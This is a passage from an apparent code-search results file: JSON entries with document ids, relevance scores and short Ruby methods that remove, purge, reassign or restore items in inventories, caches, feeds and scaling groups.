},
{
"docid": "c0e0a0e99d65acd68a6eea00af2f8be7",
"score": "0.52989066",
"text": "def resort_items_after_CUD!(items)\n end",
"title": ""
},
{
"docid": "eab788c9951854a43ee4c80cb3a632d8",
"score": "0.5272098",
"text": "def update_position_only(*)\n super\n reindex_top_containers\n end",
"title": ""
},
{
"docid": "ec45d6f4947a927bd45b78a863e1e148",
"score": "0.5265722",
"text": "def remove_past_items!\n @items = @items.reject do |item|\n item.more_advanced_date <= Time.now\n end\n end",
"title": ""
},
{
"docid": "5ab9e3ba37a69372d93e2a00d9092778",
"score": "0.5234723",
"text": "def dead\n @removed.size >= 40\n end",
"title": ""
},
{
"docid": "3e772bf3ac1abd3522839a4df1002007",
"score": "0.52142155",
"text": "def cleanup_removed_bags\n original_bags = Array.new\n # Retrieve list of bags that have been validated\n @db.execute(\"select path from bags where isReplica is null or isReplica = 0\" ) do |row|\n original_bags.push row[0]\n end\n \n # Get a list of potential bag directories from all preservation locations\n bag_paths = @loc_manager.get_bag_paths\n \n # Get bags which are in the database but not in a preservation location anymore\n missing_bags = original_bags - bag_paths\n @logger.debug(\"Cleaning up #{missing_bags.length} records for bags which have been removed\")\n missing_bags.each do |original_path|\n @logger.info(\"Cleaning up record for absent original bag: #{original_path}\")\n @db.execute(\"delete from bags where path = ?\", original_path)\n end\n end",
"title": ""
},
{
"docid": "a96dfd245ca2db52a2f3536a1f669bb6",
"score": "0.5208874",
"text": "def rebuild_item_heirarchy\n return true unless @nodes_to_fix.present?\n self.reload\n @nodes_to_fix.each do |cid, pid|\n item = self.items.where(uid: cid).first\n next unless item\n found = self.items.where(uid: pid).first\n item.update(parent: found)\n end\n @nodes_to_fix = nil\n true\n end",
"title": ""
},
{
"docid": "a4e7bbd92fdbd15d0705850546fce674",
"score": "0.5192318",
"text": "def load_past_releases\n offset = 0\n while offset < MAX_PAST_RELEASES\n # find_in_batches breaks sorting\n releases = M2m::SalesOrderRelease.scoped(:include => { :sales_order => :customer }).limit(1000).offset(offset)\n break if releases.size == 0\n offset += releases.size\n @bom_children.for_releases(releases).each do |release, bom_children|\n next unless release.last_ship_date # skip it unless it's actually shipped\n if (self.earliest_release_date.nil? or (release.due_date < self.earliest_release_date))\n self.earliest_release_date = release.due_date\n end\n keep_most_recent_release(release.part_number_revision, release)\n bom_children.each do |bom_item|\n keep_most_recent_release(bom_item.part_number_revision, release)\n end\n end\n end\n end",
"title": ""
},
{
"docid": "5b98b44bb8e18310bfbbb025890192b0",
"score": "0.519055",
"text": "def empty? \n return archival_units_count == 0; \n end",
"title": ""
},
{
"docid": "962cabbe5d292a7c97df788e1383ed39",
"score": "0.5188898",
"text": "def reassign_manifest_items\n destroy_obsolete_items\n \n all_items.each do |item|\n if item.package_branch.unit.nil?\n log.info \"Reassigning #{item.inspect}\"\n nil_unit_branch = item.package_branch\n raise item.inspect if item.manifest.nil?\n unit_scoped_branch = retrieve_unit_scoped_branch(nil_unit_branch, item.manifest.unit)\n item.package_branch = unit_scoped_branch\n item.save!\n log.info \"\\t #{item.inspect}\"\n end\n end\n end",
"title": ""
},
{
"docid": "eec9a0ad9780dd3c02165e5bb3769f05",
"score": "0.5184923",
"text": "def process_unfinished_container(msg)\n priority = msg.priority\n cores = msg.vcores\n memory = msg.memory\n capability = cores + '-' + memory\n container_id = msg.containerid\n container_resource = get_container(container_id)\n container_resource.applicationid = @appid;\n container_resource.requested_time = msg.requestedtime\n container_resource.reserved_time = msg.reservedtime\n container_resource.allocated_time = msg.allocatedtime\n container_resource.acquired_time = msg.acquiredtime\n container_resource.expired_time = msg.expiredtime\n container_resource.running_time = msg.runningtime\n container_resource.killed_time = msg.killedtime\n container_resource.released_time = msg.releasedtime\n container_resource.completed_time = msg.completedtime\n container_resource.cluster_memory = msg.clustermemory\n container_resource.cluster_vcores = msg.cluster_vcores\n container_resource.number_apps = msg.numberapps\n container_resource.completed = false \n container_resource.memory = memory\n container_resource.vcores = cores\n container_resource.queue = msg.queue\n container_resource.host = msg.host\n container_resource.priority = priority\n container_resource.container_id = container_id\n @container_hash[container_id] = container_resource\n @logger.debug(\"Received unfinished container: #{container_resource.inspect}\")\n end",
"title": ""
},
{
"docid": "5b65d039dc2dab5aedc75e420c73a806",
"score": "0.51701516",
"text": "def remove_inapproprate_items_from(items)\n idata = items['data']\n #Remove things we said are not ok\n item_info_dict['Excluded IDs'].each{|id| idata.delete id}\n\n #Things that can't be baught are things we aren't interested in\n idata.reject!{|id, info| not info.dig('gold', 'purchasable') }\n\n #take snapshot of keys to iterate while we muck with the poor thing.\n ids = idata.keys.dup\n\n #Drop items that have groups or tags I think are stupid.\n ids.each do |id|\n item_info_dict['Rejected Properties'].each do |rejected_property, rejected_info|\n item_property = idata.dig(id, rejected_property)\n case item_property\n when Array\n idata.delete id unless (item_property & rejected_info).empty?\n when nil\n #pass\n else\n idata.delete id if rejected_info.include? item_property\n end\n end\n end\n\n #clean up the \"into\" category with only things that exist\n idata.each do |key, info|\n info['into'].keep_if {|id| idata.has_key? id}\n end\n\n #remove items from certain maps\n item_info_dict['Remove from Map'].each do |itemID, maps|\n maps.each do |mapID|\n idata[itemID]['maps'][mapID] = false\n end\n end\n\n ids = idata.keys.dup\n\n #handle things that build into themselves?\n ids.each do |id|\n info = idata.dig(id)\n\n #doesn't have an into, so doesn't build into anything\n next if info['into'].empty?\n\n info['into'].each do |possible_id|\n possible_info = idata.dig(possible_id)\n\n #Move along if we've deleted this item already\n unless possible_info\n idata.delete id\n next\n end\n\n #it's a sidegrade, so valid\n next if idata.dig(possible_id, 'into').include? id\n\n #Anything that builds into stuff that we don't like is also\n #something we're not interested in?\n unless items['data'].has_key? possible_id\n idata.delete id\n next\n end\n\n #This item is a result of transformation.\n if idata.dig(possible_id, 'gold', 'purchasable')\n idata.delete id\n next\n end\n\n idata.delete id\n end\n end\n items['data'] = idata\n items\n end",
"title": ""
},
{
"docid": "33449ec2ad850a310254552f952de3f4",
"score": "0.51601744",
"text": "def pop_container()\n return unless perform_caching?\n @@container_stack ||= []\n container = @@container_stack.pop \n container\n end",
"title": ""
},
{
"docid": "3edf2d491cae969bc216bcb4519ef402",
"score": "0.5129841",
"text": "def cleanup_items(current)\n Builtins.maplist([\"timeline\", \"number\", \"\"]) do |cleanup|\n Item(Id(cleanup), cleanup, cleanup == current)\n end\n end",
"title": ""
},
{
"docid": "727f99ec080ab43df9b72450c9288d74",
"score": "0.5111304",
"text": "def unloading_container_index\r\n @actu_step = 1\r\n end",
"title": ""
},
{
"docid": "76cb630d081f1eae8cf2f645af3d4198",
"score": "0.51011777",
"text": "def gather_items_to_be_processed(prev_collection_list)\n # A list of items which belong to multiple collections, and at least\n # one of those collections is in the target ERA reporting year\n items_to_process = []\n p = prev_collection_list\n @collections.sort.each{|itemh, colhdls|\n if colhdls.length > 1 ||\n colhdls.length == 1 && p && p.collections[itemh] && p.collections[itemh].length > 0\n items_to_process << itemh\n end\n }\n items_to_process\n end",
"title": ""
},
{
"docid": "56845e541f8c60459d660a9584a2622d",
"score": "0.5099264",
"text": "def refresh\n @ordered_instances = nil\n end",
"title": ""
},
{
"docid": "6e60fe55826764b0709b2379f6ac0aca",
"score": "0.5091345",
"text": "def reap\n @xcache_lock.synchronize do \n @xcache.to_a.each do |dir, xtractr|\n if xtractr.lock.try_lock\n # xtractr is not in use right now\n begin\n if xtractr.last_use + @idle_timeout < Time.new.to_f\n xtractr.stop\n @xcache.delete dir\n end\n ensure\n xtractr.lock.unlock\n end\n end\n end\n end\n end",
"title": ""
},
{
"docid": "f03c8871fc3a2fd01f1c502f4ccf777a",
"score": "0.5083753",
"text": "def retain( item ) \n # record the item itself\n @incomplete_items[ @page_number ] ||= []\n @incomplete_items[ @page_number ] << item \n # store a reference indexed by item for easy disposal\n @incomplete_item_refs[ item ] ||= []\n @incomplete_item_refs[ item ] << @page_number \n end",
"title": ""
},
{
"docid": "450082a12e5faa6cc0e711e3bf78c117",
"score": "0.5075435",
"text": "def move_one_item item_already_there\n if state.held_item[:quantity] > 1\n item_already_there[:quantity] += 1\n state.held_item[:quantity] -= 1\n else \n item_already_there[:quantity] += 1\n state.held_item[:quantity] -= 1\n # remove the item being held from the items collection (since it's quantity is now 0)\n state.items.reject! { |i| i[:location] == :held }\n state.held_item = nil\n end\n end",
"title": ""
},
{
"docid": "f5270a158d327ba41561f145cf54f11d",
"score": "0.5071809",
"text": "def items_found\n @final_droplist ||= generate_final_droplist\n end",
"title": ""
},
{
"docid": "a309ff6473f7dededb16edfd85878857",
"score": "0.5023336",
"text": "def release item_name\n if self.contains? item_name, false\n item= fetch item_name\n @items -= [item]\n #item.move_to :non_game_area\n end\n end",
"title": ""
},
{
"docid": "c90e2696be49340a8745276282e00729",
"score": "0.5010624",
"text": "def detect_and_fix_wrongly_expired_artifacts\n return unless @fix_expire_at\n\n wrongly_expired_artifacts, @job_artifacts = @job_artifacts.partition { |artifact| wrongly_expired?(artifact) }\n\n remove_expire_at(wrongly_expired_artifacts) if wrongly_expired_artifacts.any?\n end",
"title": ""
},
{
"docid": "c9b1a6b2722d9a14efc845f74664d712",
"score": "0.5000782",
"text": "def check_inventory\n\t removed_items = []\n\t for oli in @items do\n\t # Find the item in the db, because oli.item\n\t # is cached.\n\t db_item = Item.find(oli.item_id)\n\t \n\t if oli.quantity > db_item.quantity\n\t removed_items << oli.name.clone\n\t @items.delete(oli)\n end\n end\n return removed_items\n end",
"title": ""
},
{
"docid": "8782845672a80632d0de1aa02c31cc6a",
"score": "0.4997238",
"text": "def purge_unused\n end",
"title": ""
},
{
"docid": "8782845672a80632d0de1aa02c31cc6a",
"score": "0.4997238",
"text": "def purge_unused\n end",
"title": ""
},
{
"docid": "b7a07f51f69490d1f8f7517b4ebb0a76",
"score": "0.49962115",
"text": "def purge\n @items.each_with_index { |item, idx| self.remove_item(idx) if item.done }\n nil\n end",
"title": ""
},
{
"docid": "c2fe9d545188eb320003f76570947214",
"score": "0.4995296",
"text": "def after_archive_card\n decrement_card_orders! unless parent.board_collection?\n update_parent_card_count!\n cover = parent.cached_cover\n if cover && cover['card_ids'].include?(id)\n # regenerate parent collection cover if archived card was relevant\n parent.cache_cover!\n else\n # touch parent to bust cache\n parent.touch\n end\n record.try(:remove_comment_followers!)\n\n if collection.present? &&\n collection.is_a?(Collection::TestCollection) &&\n collection.inside_a_submission_box_template? &&\n collection.live?\n # close the submission template test if you archive it\n collection.close!\n end\n end",
"title": ""
},
{
"docid": "164e78ab9693ba935bf88d470f7ce1de",
"score": "0.4992833",
"text": "def process_leftovers\n #puts \"Processing leftovers\"\n\n @context.storage.get_many('msgs').each do |msg|\n #puts \"Processing #{msg.inspect}\"\n\n process msg\n end\n\n #puts \"Finished processing leftovers\"\n end",
"title": ""
},
{
"docid": "089a6aa179fe23313bf525cc94f43433",
"score": "0.49884707",
"text": "def reprocess_items!\n @path_array = nil\n self.direct_items.each { |item| item.reprocess_child_items! }\n self.children.each { |category| category.reprocess_items! }\n end",
"title": ""
},
{
"docid": "0b0b3c829d254ed81a89ce14c1a2e21a",
"score": "0.4962779",
"text": "def load_from_store\r\n\t\t\t\t\r\n\t\t\t# If we have serial copies, load those. We never should have both, but oh well. \r\n\t\t\tserialElements = bib_xml.search('searchresponse/subscriptionsummary/serial')\r\n\t\t\tself.copies = serialElements.collect do |serialElement|\r\n\t\t\t\tholding = Hip3::SerialCopy.new( self, serialElement )\t\t\t\t\r\n\t\t\t\r\n\t\t\t\tholding # collect holdings\r\n\t\t\tend\r\n\t\t\t@copies_loaded = true\r\n\t\t\t\t\t\t\r\n\t\t\t# If we didn't have copies, we might have items directly in this bib. \r\n\t\t\tif (self.copies.length == 0 &&\r\n\t\t\t\t!bib_xml.search('searchresponse/items/searchresults/results/row').nil?)\r\n\t\t\t\tself.xml_with_items = bib_xml\r\n\t\t\t\tload_items_from_store\r\n\t\t\tend\r\n\t\t\t@items_loaded = true\r\n\r\n\t\tend",
"title": ""
},
{
"docid": "332e74441f93600423936f6e25cefa57",
"score": "0.49565166",
"text": "def check_overdue\n overdue = [ ]\n each_working do |item|\n unless item.get_meta.nil?\n # then push, overdue items\n overdue.push(item) if item.overdue?\n else\n rcache.lrem(working_cache_key, 0, item.trx_id)\n end\n end\n overdue\n end",
"title": ""
},
{
"docid": "d4d8516bec827a295ff45d54383365a3",
"score": "0.49526992",
"text": "def item_used(item_class); fail NotImplementedError; end",
"title": ""
},
{
"docid": "739aea8f21b00b4abae07099de43331f",
"score": "0.49426183",
"text": "def have_items\n return self.items.live.order(\"created_at DESC\")\n end",
"title": ""
},
{
"docid": "3ac348155f47068ebf8bf89636bd8529",
"score": "0.49340832",
"text": "def swap_items item_already_there\n #swap the positions of the items\n temp_loc = item_already_there[:location]\n temp_ordX = item_already_there[:ordinal_x]\n temp_ordY = item_already_there[:ordinal_y]\n\n item_already_there[:location] = state.held_item_last_loc\n item_already_there[:ordinal_x] = state.held_item[:ordinal_x]\n item_already_there[:ordinal_y] = state.held_item[:ordinal_y]\n\n state.held_item[:location] = temp_loc\n state.held_item[:ordinal_x] = temp_ordX\n state.held_item[:ordinal_y] = temp_ordY\n\n # remove the item being held from the items collection (since it's quantity is now 0)\n state.items.reject! { |i| i[:location] == :held }\n\n # nil out the held_item so a new item can be picked up\n state.held_item = nil\n end",
"title": ""
},
{
"docid": "d736c8c61eb52216412e1f67c167eebb",
"score": "0.49314776",
"text": "def purge\n @items.each_with_index do |item, idx| \n remove_item(idx) if item.done\n if item.done\n remove_item(idx)\n end\n end\n end",
"title": ""
},
{
"docid": "545740f1b80ec7c1a45be995aabff386",
"score": "0.4928987",
"text": "def reset\n self.items = []\n self.items << home\n end",
"title": ""
},
{
"docid": "7bc7211f2818ac850d2e028e887480fd",
"score": "0.49145582",
"text": "def unused_items\n weekly = []\n usedids = self.orderitems.collect{|t| t.item_id}\n if usedids.empty?\n oids = [0]\n else\n oids = usedids\n end\n site = self.site\n items = site.sitetype.items.order(:sort).where(itemtype_id: Weeklyorderreq::VALID_ITEM_TYPES).where.not(id: oids).to_a \n items.each do |i|\n if !(i.current_price.expire and self.weeklyorderreq.week > i.current_price.expire)\n weekly.push(Orderitem.new(:attributes=>\n {:item_id=>i.id, :weeklydfcorder_id=>self.id,\n :monqty=>0,\n :tueqty=>0,\n :wedqty=>0,\n :thuqty=>0,\n :friqty=>0}))\n end\n end\n \n return weekly\n end",
"title": ""
},
{
"docid": "7233a5c094156cdf739cec7662130daa",
"score": "0.49132723",
"text": "def out_of_stock_unfulfilled_line_items\n self.unfulfilled_line_items.select { |li| !li.product.copy_available? }\n end",
"title": ""
},
{
"docid": "0ac6c46b6e4512ada73f6466b3ad7deb",
"score": "0.49123293",
"text": "def item_non_searchable?\n return false if periodical_master\n items.each do |i|\n return false unless i.non_searchable\n return false if item.try(:circulation_status).try(:name) != 'Removed'\n end\n return true\n end",
"title": ""
},
{
"docid": "153820cc7732d712d37a3bd65b4100c0",
"score": "0.49084955",
"text": "def preliminary_items; end",
"title": ""
},
{
"docid": "e8e6be95dca956f95d446c15a8328c21",
"score": "0.49026436",
"text": "def cached_displayed_item_children\n return self.children.displayed.items unless MODEL_CACHING\n logger.debug \"\\n******************\\n [Cache] Retreiving node(#{self.id})'s cached_displayed_item_children \\n******************\\n\\n\"\n Rails.cache.fetch(self.cache_key + \"::displayed_item_children\", :expires_in => 20.days) {\n logger.debug \"\\n******************\\n [Cache] (MISSED) Caching node(#{self.id})'s cached_displayed_item_children \\n******************\\n\\n\"\n self.children.displayed.items.collect {|n| n }\n }\n end",
"title": ""
},
{
"docid": "3e145074796c938e177d4f674f2f303d",
"score": "0.48961997",
"text": "def cached_displayed_item_children\n return self.children.displayed.item_categories unless MODEL_CACHING\n logger.debug \"\\n******************\\n [Cache] Retreiving node(#{self.id})'s cached_displayed_item_children \\n******************\\n\\n\"\n Rails.cache.fetch(self.cache_key + \"::displayed_item_children\", :expires_in => 20.days) {\n logger.debug \"\\n******************\\n [Cache] (MISSED) Caching node(#{self.id})'s cached_displayed_item_children \\n******************\\n\\n\"\n self.children.displayed.item_categories.collect {|n| n }\n }\n end",
"title": ""
},
{
"docid": "1323dfeacec85fd2a3b5afeebee54ad5",
"score": "0.48851186",
"text": "def fix_dropped_items\n bad_path = nil\n @model.each do |model, path, iter|\n item = iter[ItemColumn]\n if !item.menu? and iter.has_child?\n bad_path = iter.path\n end\n end\n return unless bad_path\n iter = @model.get_iter(bad_path)\n item = iter[ItemColumn]\n child = iter.first_child or return\n target = child[ItemColumn]\n @model.remove(child)\n nxt = @model.insert_after(iter.parent, iter)\n nxt[ItemColumn] = target\n sel = @view.selection\n sel.unselect_all\n sel.select_iter(nxt)\n @view.scroll_to_cell(nxt.path, nil, false, 0, 0)\n return false\n end",
"title": ""
},
{
"docid": "768b806a3b82994034c07999faf2f334",
"score": "0.4879019",
"text": "def process_rss(rss)\n time_offset = 1\n\n # taking out site/blog link and title.\n site_link = (rss/:channel/:link).first.inner_html\n site_title = (rss/:channel/:title).first.inner_html\n puts \"processing rss for #{site_link}\"\n\n (rss/:channel/:item).each do |item|\n link_raw = item.%('feedburner:origLink') || item.%('link') || (item/:link)\n link = link_raw.inner_html\n\n if (Item.find_by_link(link)).blank?\n rss_item = Item.new\n rss_item.feed = self\n rss_item.site_link = site_link\n rss_item.site_title = site_title\n rss_item.title = (item/:title).inner_html\n rss_item.link = link\n rss_item.author = (item/:author).inner_html\n rss_item.content = (item/:description).inner_html\n if rss.namespaces.include?(\"xmlns:content\")\n if item.xpath('content:encoded').length == 1\n rss_item.content = item.xpath('content:encoded').inner_html\n else\n rss_item.content = (item/:description).inner_html\n end\n end\n\n rss_item.published = (item/:pubDate).inner_html\n\n if rss_item.published.blank?\n puts \"rss feed published time blank. calculating system one.\"\n # taking it 20 days back..\n rss_item.published = (Time.now - (20*60*60*24) - time_offset.hours).to_s(:db)\n time_offset += 1\n end\n\n rss_item.title = htmlize(rss_item.title)\n rss_item.content = htmlize(rss_item.content, link)\n rss_item.save!\n end\n end\n end",
"title": ""
},
{
"docid": "969f2857b6c25d050794e33df0e8ebbc",
"score": "0.48764476",
"text": "def compare_items_no_dup\n run_scope.each do |item|\n print_sep :compare, item\n print_columns(item)\n item.thinkspace_weather_forecaster_assessment_items.each do |assessment_item|\n print_sep \"---AssessmentItem.id:#{assessment_item.id} ==>\", item\n print_columns(assessment_item)\n end\n end\n end",
"title": ""
},
{
"docid": "a3956c81fbf0ec875daef8df4f81a76e",
"score": "0.48709565",
"text": "def catagorize_old_assets(days)\n buckets = {\n 730 => {count: 0, size: 0},\n 365 => {count: 0, size: 0},\n 180 => {count: 0, size: 0},\n 90 => {count: 0, size: 0},\n 30 => {count: 0, size: 0},\n }\n discover_repos\n @repos[:local].each_pair do |id,repo|\n begin\n pkgs = 0\n purgable = 0\n timings = Benchmark.bm(12) do |bm|\n debuglog \"Searching Repo #{id}:\"\n old_packages = nil\n bm.report('api call') {\n old_packages = @artifactory_client.artifact_usage_search(\n notUsedSince: (Time.now.to_i - 24 * 3600 * days) * 1000,\n createdBefore: (Time.now.to_i - 24 * 3600 * days) * 1000,\n repos: id\n )\n }\n debuglog \" Artifactory search returned #{old_packages.length} assets older than #{days}...\"\n bm.report('loop') { old_packages.each_with_index do |pkg,i|\n pkgs += 1\n uri = URI(pkg.uri)\n purgable += pkg.size\n # Calculate the age of this package in days and increment the bucket it belongs in\n age = (Time.now - pkg.last_modified)/(3600*24)\n if (bucket = buckets.keys.find {|v| age >= v })\n buckets[bucket][:count] += 1\n buckets[bucket][:size] += pkg.size\n end\n debuglog \" ##{i}: #{File.basename(uri.path)} #{Util.filesize pkg.size} Created #{pkg.created} Modified #{pkg.last_modified}\"\n end }\n end\n debuglog \"Found #{pkgs} assets from #{id} older than #{days} days totaling #{Util.filesize purgable} in #{timings.reduce {|sum, t| sum + t.real}} seconds\"\n rescue => ex\n STDERR.puts \"Caught an exception trying to handle repo #{id}: #{ex}\"\n STDERR.puts ex.full_message\n STDERR.puts \"Caused by #{ex.cause.full_message}\" if ex.cause\n end\n end\n\n buckets.each_pair do |age,bucket|\n debuglog \"#{bucket[:count]} packages older than #{age} days, totaling #{Util.filesize bucket[:size]}\"\n end\n \n buckets\n end",
"title": ""
},
{
"docid": "453d1bd33110084e4270bf802bfb1ad0",
"score": "0.48674983",
"text": "def handle_past_orders\n remove_all_empty_orders\n remove_timeout_orders\n end",
"title": ""
},
{
"docid": "48903d0ead61cc3cdf01de4c8a9956e0",
"score": "0.48647088",
"text": "def price_has_gone_down\n if self.full_item_histories.count >= 2\n most_recent = self.full_item_histories[-1]\n previous = self.full_item_histories[-2]\n \n # now the actual logic\n end\n end",
"title": ""
},
{
"docid": "6602046c79cdedd77492d666895b55bc",
"score": "0.48632935",
"text": "def clean_top_scoring_elements!(options = {})\n keep_images = !!options[:images]\n\n top_scoring_elements.each do |element|\n element.search(\"*\").each do |node|\n if cleanable?(node, keep_images)\n debugger if node.to_s =~ /maximum flavor/\n node.remove\n end\n end\n end\n end",
"title": ""
},
{
"docid": "3a29b3be3fec9851a3708d479af0794a",
"score": "0.48613602",
"text": "def nack(_items)\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "b233b5d683b582021ce668a957f0fea7",
"score": "0.48509464",
"text": "def reconciler\n begin\n accounts=@im.list_accounts\n accounts.each { |account|\n asgs=@asgm.list_asgs(account)\n asgs.each { |asg|\n # get the desired state\n asg_name=asg[\"name\"]\n asg_def=@asgm.retrieve_asg(account,asg_name)\n if(asg_def['state']==ASG_STATE_STARTED)\n desired_count=asg_def['desired_capacity']\n min_size=asg_def['min_size']\n max_size=asg_def['max_size']\n # check that we are not in a cooldown period \n if((asg_def['last_scale_in_ts']!=nil && Time.now.to_i-asg_def['last_scale_in_ts']<=asg_def['scale_in_cooldown']) or \n (asg_def['last_scale_out_ts']!=nil && Time.now.to_i-asg_def['last_scale_out_ts']<=asg_def['scale_in_cooldown']) ) \n L.debug \"HM ---> asg=#{asg_name} account=#{account} is in COOLDOWN state! no action taken until cooldown expires.\" \n next \n end \n # compare state only if there are instances started from IM\n if(desired_count>0)\n actual_count=get_actual_state(account,asg_name)\n stalled=@im.query_instances(account,{\"name\"=>asg_name,\"status\"=>STALLED_STATE},nil,1000)\n stalled_count=stalled.length \n L.debug \"HM ---> target=#{desired_count}, actual=#{actual_count}, stalled=#{stalled_count} asg=#{asg_name} account=#{account}\" \n if(desired_count>actual_count &&\n (Time.now.to_i - max_ts_launched(account,asg_name)>@max_age_from_launch) &&\n actual_count < max_size && stalled_count < max_size)\n L.debug \"HM ---> scale-up asg=#{asg_name} account=#{account}\"\n lock=@im.lease_lock(account,asg_name,START_TYPE_LEASE,desired_count-actual_count)\n if(lock!=nil )\n if (!@im.instances_starting?(account,asg_name,TYPE_CONTAINER) && \n Time.now.to_i-get_last_ts_pending_action(account,asg_name)>(@max_age_stale+@updater_interval))\n L.debug \"HM ---> starting #{desired_count-actual_count} instances for #{asg_name} account=#{account}\" \n template=@asgm.build_template(account,asg_def)\n start_instances(account,template,desired_count-actual_count,lock)\n asg_def['last_scale_out_ts']=Time.now.to_i\n @asgm.update_asg(account,asg_name,asg_def) \n else\n # update timestamp for last time starting state was detected\n asg_key=get_asg_key(account,asg_name)\n @asgs[asg_key]=[@asgs[asg_key][0],Time.now.to_i]\n L.warn \"HM ---> waiting for other instances to start on #{asg_name} account=#{account}\" \n end \n else\n L.warn \"HM ---> busy lock on #{asg_name} account=#{account}\" \n end\n elsif (desired_count<actual_count &&\n (Time.now.to_i - min_ts_running(account,asg_name )>@max_age_stale) &&\n actual_count > min_size)\n L.debug \"HM ---> scale-down asg=#{asg_name} account=#{account}\"\n lock=@im.lease_lock(account,asg_name,STOP_TYPE_LEASE,actual_count-desired_count)\n if(lock!=nil)\n if(!@im.instances_stopping?(account,asg_name,TYPE_CONTAINER) && \n Time.now.to_i-get_last_ts_pending_action(account,asg_name)>(@max_age_stale+@updater_interval))\n L.debug \"HM ---> stopping #{actual_count-desired_count} instances for asg=#{asg_name} account=#{account}\" \n stop_instances(account,asg_name,TYPE_CONTAINER,actual_count-desired_count,lock)\n asg_def['last_scale_in_ts']=Time.now.to_i\n @asgm.update_asg(account,asg_name,asg_def) \n else\n # update timestamp for last time stopping state was detected\n asg_key=get_asg_key(account,asg_name)\n @asgs[asg_key]=[@asgs[asg_key][0],Time.now.to_i]\n L.debug \"HM ---> waiting for other instances to stop for asg=#{asg_name} account=#{account}\"\n end \n else\n L.debug \"HM ---> busy lock for asg=#{asg_name} account=#{account}\"\n end\n end\n end\n else\n L.debug \"HM ---> asg=#{asg_name} account=#{account} is in '#{asg_def['state']}' state - no action will be performed \"\n end\n }\n }\n rescue=>e\n L.error \"#{e.message} - #{e.backtrace}\"\n end\n end",
"title": ""
},
{
"docid": "069a787dad0a3f39291ea8c4d4240194",
"score": "0.48473898",
"text": "def remove_useless\n @iterator.each do |iter|\n entry = iter[0]\n iter.remove unless entry.status.online? or entry.status.resolving?\n end\n end",
"title": ""
},
{
"docid": "733222b5488bb7eb9eac5c04baf0e9d9",
"score": "0.4834872",
"text": "def forget_dependencies_if_outdated(items)\n items.each do |i|\n if i.reps.any? { |r| outdatedness_checker.outdated?(r) }\n dependency_tracker.forget_dependencies_for(i)\n end\n end\n end",
"title": ""
},
{
"docid": "dfb652d93b57d3a18ff1e1d476fd3d90",
"score": "0.48302382",
"text": "def resize\n old_items = @items\n @items = Array.new(@items.size*2)\n old_items.each do |i|\n if i != nil\n puts i\n @items[index(i.key,@items.length)] = Node.new(i.key, i.value)\n end\n end\n end",
"title": ""
},
{
"docid": "5b462c2b5eee7176a8336a3c53f2dc8d",
"score": "0.482981",
"text": "def restore_items\n temp = @item_log.values\n temp.each do |logitem|\n add_item(logitem)\n end\n update\n end",
"title": ""
},
{
"docid": "76266ab35aca16b9096b075ac5a20d0d",
"score": "0.48294857",
"text": "def maintain\n return unless overload?\n outdated = @last_block\n @blocks.each do |hashid, block|\n outdated = block.clone if !block.genesis && block.date < outdated.date\n end\n @blocks.delete(outdated)\n @capacity -= outdated.record.size\n return outdated\n end",
"title": ""
},
{
"docid": "76266ab35aca16b9096b075ac5a20d0d",
"score": "0.48294857",
"text": "def maintain\n return unless overload?\n outdated = @last_block\n @blocks.each do |hashid, block|\n outdated = block.clone if !block.genesis && block.date < outdated.date\n end\n @blocks.delete(outdated)\n @capacity -= outdated.record.size\n return outdated\n end",
"title": ""
},
{
"docid": "747c83fc5e4a8267690c9ad64ad49cf7",
"score": "0.4827147",
"text": "def remove_related_item_nodes_for_collections!\n doc.search('/mods:mods/mods:relatedItem[@type=\"host\"]/mods:typeOfResource[@collection=\\'yes\\']', \"mods\" => \"http://www.loc.gov/mods/v3\").each do |node|\n node.parent.remove\n end\n end",
"title": ""
},
{
"docid": "b29d72a5190af7a9f23b24290c89875e",
"score": "0.48253125",
"text": "def node\n !purge? ? items_node[:node] : purge_node[:node]\n end",
"title": ""
},
{
"docid": "5471e14c4031878e7624adccdc7986fd",
"score": "0.482338",
"text": "def remove_unneeded_stores\n return unless @stopping || (@ttl && @last_checkout && Time.now - @last_checkout >= @ttl)\n while (@stopping || @stores.length > @min) and store = @available.pop\n store.close rescue nil\n @stores.delete(store)\n end\n end",
"title": ""
},
{
"docid": "1e7060df7c9d7cbb9b1f3e7054a0106a",
"score": "0.4813989",
"text": "def dispose( item )\n pages = @incomplete_item_refs[ item ]\n unless pages.nil?\n # for each page on which the item appears\n pages.each do |page|\n # remove it\n items = @incomplete_items[ page ] \n items.delete( item )\n # and remove the page too if we've delete the last one\n @incomplete_items.delete( page ) if items.empty? \n end \n end\n # remove the item cross-reference\n @incomplete_item_refs.delete( item )\n end",
"title": ""
},
{
"docid": "7b609b2ce07cbf8c1ee45500bdf49ccc",
"score": "0.48139387",
"text": "def home\n @items= Item.all\n @item_ctg = {}\n Item::ITEM_CATAGORIES.each do |key, val|\n @item_ctg[key.to_sym] = []\n end\n @items.each do |item|\n @item_ctg[Item::ITEM_CATAGORIES_REV[item[:itm_ctg]]].push(item)\n end\n end",
"title": ""
},
{
"docid": "60ac5ad1cb7ba36c7764add70ae6e8c1",
"score": "0.48127815",
"text": "def update_item_categories\n (self.item_categories.each {|ic| (ic.update_node(self.name); ic.save) unless ic.marked_for_destruction? }) if self.item_categories\n end",
"title": ""
},
{
"docid": "d9a4981b3de4f47790dbd0593e691a80",
"score": "0.48092458",
"text": "def forget_dependencies_if_outdated\n @site.items.each do |i|\n if @reps[i].any? { |r| outdatedness_checker.outdated?(r) }\n @dependency_store.forget_dependencies_for(i)\n end\n end\n end",
"title": ""
},
{
"docid": "1f5d5c4f829a592c8b3f445e237efdfb",
"score": "0.47956014",
"text": "def unpublish_complete\n\n events.each do |event|\n\n #Only do this to the elements that are not the main parent node\n event.unpublish_self\n end\n end",
"title": ""
},
{
"docid": "4028e0314cba2dff43f2d32703bb0ef4",
"score": "0.479543",
"text": "def cleanup_children!\n\n end",
"title": ""
},
{
"docid": "9490da2b96079e4531144119c290efa0",
"score": "0.47941813",
"text": "def forget_dependencies_if_outdated(items)\n items.each do |i|\n if i.reps.any? { |r| needs_recompiling?(r) }\n dependency_tracker.forget_dependencies_for(i)\n end\n end\n end",
"title": ""
},
{
"docid": "8c757810b53a013a366315bc0d21eee0",
"score": "0.47883412",
"text": "def unload_item\n\t\treturn if @current_location != @destination\n\t\tWarehouse.remove_parcel\n\t\tputs \"Item has been delivered :)\"\n\t\tCommandCenter.unloaded_pacakge(DroneDelivery::DRONE_STATUS[2])\n\t\tpark_in_command_center\n\tend",
"title": ""
},
{
"docid": "7e80d9856beaad6f220e273d2007df5e",
"score": "0.4785892",
